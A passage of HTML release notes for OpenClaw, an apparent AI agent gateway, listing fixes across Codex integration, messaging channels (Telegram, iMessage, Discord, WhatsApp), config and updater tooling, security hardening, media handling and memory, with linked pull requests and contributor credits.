<p>Codex: project newer OpenClaw chat history into resumed app-server threads and keep Codex turn timeouts inside the Codex runtime boundary so timeouts do not poison shared app-server clients or fall through to unrelated provider fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520169285" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86677" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86677/hovercard" href="https://github.com/openclaw/openclaw/pull/86677">#86677</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516861602" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86476" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86476/hovercard" href="https://github.com/openclaw/openclaw/pull/86476">#86476</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Config/doctor/update: narrow profiled tool-section doctor repair, keep runtime-injected legacy web-search provider config out of user-authored config validation, and keep prerelease tags excluded from stable updater resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527248275" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87030" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87030/hovercard" href="https://github.com/openclaw/openclaw/pull/87030">#87030</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522614131" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86818" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86818/hovercard" href="https://github.com/openclaw/openclaw/pull/86818">#86818</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518201643" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86559" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86559/hovercard" href="https://github.com/openclaw/openclaw/pull/86559">#86559</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</p>
</li>
<li>
<p>CLI/Windows: add a Windows-only stack-size respawn for stack-heavy startup paths, default CLI logs to local timestamps, and validate timeout/banner TTY state more strictly. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527294921" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87031" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87031/hovercard" href="https://github.com/openclaw/openclaw/pull/87031">#87031</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503181039" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85387" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85387/hovercard" href="https://github.com/openclaw/openclaw/pull/85387">#85387</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Locking/security: require owner identity proof before stale plugin lock removal, memoize session lock owner arguments, and avoid writing default exec approval stores unless policy state actually changed. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522554669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86814" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86814/hovercard" href="https://github.com/openclaw/openclaw/issues/86814">#86814</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525826501" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86964" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86964/hovercard" href="https://github.com/openclaw/openclaw/pull/86964">#86964</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Alix-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Alix-007">@Alix-007</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Install/release: bound Docker package build, inventory, pack, and tarball preparation with process-group timeouts; pin shrinkwrap patch drift to the pnpm lock; harden macOS restart and dSYM packaging; and run release Docker/live timeout wrappers in the foreground so child processes cannot wedge gates.</p>
</li>
<li>
<p>Telegram/network: treat <code>ENETDOWN</code> as a transient pre-connect network failure so Telegram sends, gateway unhandled-rejection handling, and cron network retries follow the same recovery path as sibling network outages. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521478619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86762" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86762/hovercard" href="https://github.com/openclaw/openclaw/pull/86762">#86762</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</p>
</li>
<li>
<p>Telegram: preserve inbound text entities, overlapping DM replies, account topic cache sidecars, outbound reply context, targeted bot-command mentions, durable group retry targets, forum topic names, and native progress callbacks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473919972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83873" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83873/hovercard" href="https://github.com/openclaw/openclaw/pull/83873">#83873</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502811207" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85361" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85361/hovercard" href="https://github.com/openclaw/openclaw/pull/85361">#85361</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506247444" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85555" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85555/hovercard" href="https://github.com/openclaw/openclaw/pull/85555">#85555</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507163567" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85656" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85656/hovercard" href="https://github.com/openclaw/openclaw/pull/85656">#85656</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508034086" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85709" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85709/hovercard" href="https://github.com/openclaw/openclaw/pull/85709">#85709</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513918910" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86299" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86299/hovercard" href="https://github.com/openclaw/openclaw/pull/86299">#86299</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518070126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86553/hovercard" href="https://github.com/openclaw/openclaw/pull/86553">#86553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>iMessage: read image attachments from local Messages attachment roots, dedupe duplicate local Messages-source accounts, seed direct DM history, fix image/group media attachment commands, advance catchup cursors after live handling, and keep slash-command acknowledgements in the source conversation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4460513299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82642" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82642/hovercard" href="https://github.com/openclaw/openclaw/pull/82642">#82642</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504709372" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85475" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85475/hovercard" href="https://github.com/openclaw/openclaw/pull/85475">#85475</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518328054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86569" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86569/hovercard" href="https://github.com/openclaw/openclaw/pull/86569">#86569</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520556743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86705" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86705/hovercard" href="https://github.com/openclaw/openclaw/pull/86705">#86705</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520562136" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86706" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86706/hovercard" href="https://github.com/openclaw/openclaw/pull/86706">#86706</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521775849" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86770" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86770/hovercard" href="https://github.com/openclaw/openclaw/pull/86770">#86770</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/homer-byte/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/homer-byte">@homer-byte</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/swang430/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/swang430">@swang430</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>.</p>
</li>
<li>
<p>WhatsApp/QQ/Twitch/IRC/Slack: restore WhatsApp ack identity and group-drop warnings, make QQ Bot media respect <code>OPENCLAW_HOME</code>, serialize Twitch auth disconnects, store IRC channel routes canonically, and keep Slack downloaded files out of reply media. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473618299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83833" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83833/hovercard" href="https://github.com/openclaw/openclaw/pull/83833">#83833</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501915785" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85309" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85309/hovercard" href="https://github.com/openclaw/openclaw/pull/85309">#85309</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508902915" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85777" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85777/hovercard" href="https://github.com/openclaw/openclaw/pull/85777">#85777</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509181286" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85794/hovercard" href="https://github.com/openclaw/openclaw/pull/85794">#85794</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510338183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85906" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85906/hovercard" href="https://github.com/openclaw/openclaw/pull/85906">#85906</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514166403" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86318" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86318/hovercard" href="https://github.com/openclaw/openclaw/pull/86318">#86318</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520463860" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86697" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86697/hovercard" href="https://github.com/openclaw/openclaw/pull/86697">#86697</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliverp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliverp">@sliverp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>.</p>
</li>
<li>
<p>Discord/voice: improve voice playback and wake replies, bucket large model picker menus, merge media captions into one message, route metadata through configured proxies, restore numeric channel sends, suppress self-reply echoes, and tighten wake matching without breaking fuzzy wake phrases. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415391667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80227/hovercard" href="https://github.com/openclaw/openclaw/issues/80227">#80227</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513382967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86238" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86238/hovercard" href="https://github.com/openclaw/openclaw/pull/86238">#86238</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517016511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86487/hovercard" href="https://github.com/openclaw/openclaw/pull/86487">#86487</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518354506" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86571" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86571/hovercard" href="https://github.com/openclaw/openclaw/pull/86571">#86571</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518728147" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86595" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86595/hovercard" href="https://github.com/openclaw/openclaw/pull/86595">#86595</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518852311" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86601" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86601/hovercard" href="https://github.com/openclaw/openclaw/pull/86601">#86601</a>)</p>
</li>
<li>
<p>Codex: preserve native web-search metadata, keep oversized native thread reuse, bridge CLI API-key auth into the app server, preserve sandbox bootstrap path style, recover context-window prompt errors, honor yolo approval policy, disable native thread personality, and route compaction through Codex auth. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503098560" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85378" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85378/hovercard" href="https://github.com/openclaw/openclaw/pull/85378">#85378</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506087008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85542/hovercard" href="https://github.com/openclaw/openclaw/pull/85542">#85542</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510132239" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85891" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85891/hovercard" href="https://github.com/openclaw/openclaw/pull/85891">#85891</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510371309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85909/hovercard" href="https://github.com/openclaw/openclaw/pull/85909">#85909</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515716562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86408/hovercard" href="https://github.com/openclaw/openclaw/pull/86408">#86408</a>)</p>
</li>
<li>
<p>Agents/runtime: enforce session lock max-hold reclaim, release embedded-attempt locks on all exits, treat aborted subagent runs as terminal, avoid runtime model hydration on hot paths, disclose scoped session list counts, derive overflow budgets from provider errors, and keep fallback errors scoped to the active model candidate. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313476027" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70473/hovercard" href="https://github.com/openclaw/openclaw/pull/70473">#70473</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508768461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85764/hovercard" href="https://github.com/openclaw/openclaw/pull/85764">#85764</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511256935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86014/hovercard" href="https://github.com/openclaw/openclaw/issues/86014">#86014</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512330133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86134" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86134/hovercard" href="https://github.com/openclaw/openclaw/pull/86134">#86134</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515962032" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86427" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86427/hovercard" href="https://github.com/openclaw/openclaw/pull/86427">#86427</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525235363" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86944" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86944/hovercard" href="https://github.com/openclaw/openclaw/pull/86944">#86944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Config/update/doctor: retry config recovery after failed backup restore, skip shell env fallback on Windows, exclude prerelease tags from the stable git channel, support deep config edits, warn instead of aborting on unreadable cron stores, prune stale bundled plugin paths, and avoid duplicate restart prompts when the Gateway is already healthy. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508546495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85739" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85739/hovercard" href="https://github.com/openclaw/openclaw/pull/85739">#85739</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509027061" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85787" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85787/hovercard" href="https://github.com/openclaw/openclaw/pull/85787">#85787</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511769726" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86060/hovercard" href="https://github.com/openclaw/openclaw/pull/86060">#86060</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513592243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86260" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86260/hovercard" href="https://github.com/openclaw/openclaw/pull/86260">#86260</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515361802" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86384/hovercard" href="https://github.com/openclaw/openclaw/pull/86384">#86384</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517880193" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86533/hovercard" href="https://github.com/openclaw/openclaw/pull/86533">#86533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoyl830/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoyl830">@liaoyl830</a>.</p>
</li>
<li>
<p>Install/release: support Alpine CLI installs and runtime floors, avoid npm <code>min-release-age</code> installer failures, bound npm/package/Docker install phases, restore config parent ownership in Docker, seed Docker lockfile package tarballs before prune, and make release/plugin prerelease checks fail closed instead of hanging or false-greening. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505205830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85491" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85491/hovercard" href="https://github.com/openclaw/openclaw/pull/85491">#85491</a>)</p>
</li>
<li>
<p>Security: avoid printing Gateway tokens in Docker, validate plugin model-pattern regexes safely, escape transcript metadata field names, harden session allowlist glob matching, audit Claude permission overrides under YOLO, and require explicit allow for ACP auto approvals. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509772199" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85849" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85849/hovercard" href="https://github.com/openclaw/openclaw/pull/85849">#85849</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510569360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85934/hovercard" href="https://github.com/openclaw/openclaw/pull/85934">#85934</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511654235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86046/hovercard" href="https://github.com/openclaw/openclaw/pull/86046">#86046</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518138669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86557" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86557/hovercard" href="https://github.com/openclaw/openclaw/pull/86557">#86557</a>)</p>
</li>
<li>
<p>Media/images: replace Sharp with Rastermill, keep EXIF normalization best-effort, normalize HEIC/HEIF before image descriptions, route Codex image API keys through OpenAI, preserve image compression metadata, and auto-scale live tool result caps. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508895502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85776" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85776/hovercard" href="https://github.com/openclaw/openclaw/pull/85776">#85776</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511517298" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86037/hovercard" href="https://github.com/openclaw/openclaw/pull/86037">#86037</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516124165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86437" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86437/hovercard" href="https://github.com/openclaw/openclaw/pull/86437">#86437</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4523450985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86857" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86857/hovercard" href="https://github.com/openclaw/openclaw/pull/86857">#86857</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524700097" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86923" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86923/hovercard" href="https://github.com/openclaw/openclaw/pull/86923">#86923</a>)</p>
</li>
<li>
<p>Memory: prevent semantic vector indexes from silently degrading when embeddings are unavailable, stop doctor OOMs on large session stores, preserve sidecar hooks/artifacts, write fallback dream diaries, use CJK-aware dreaming dedupe, and avoid per-file watcher FD fan-out. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4419718885" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80613" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80613/hovercard" href="https://github.com/openclaw/openclaw/issues/80613">#80613</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462409079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82928/hovercard" href="https://github.com/openclaw/openclaw/issues/82928">#82928</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496988085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85060/hovercard" href="https://github.com/openclaw/openclaw/pull/85060">#85060</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507908481" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85704" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85704/hovercard" href="https://github.com/openclaw/openclaw/pull/85704">#85704</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510790288" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85967" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85967/hovercard" href="https://github.com/openclaw/openclaw/pull/85967">#85967</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520541942" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86701" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86701/hovercard" href="https://github.com/openclaw/openclaw/pull/86701">#86701</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" 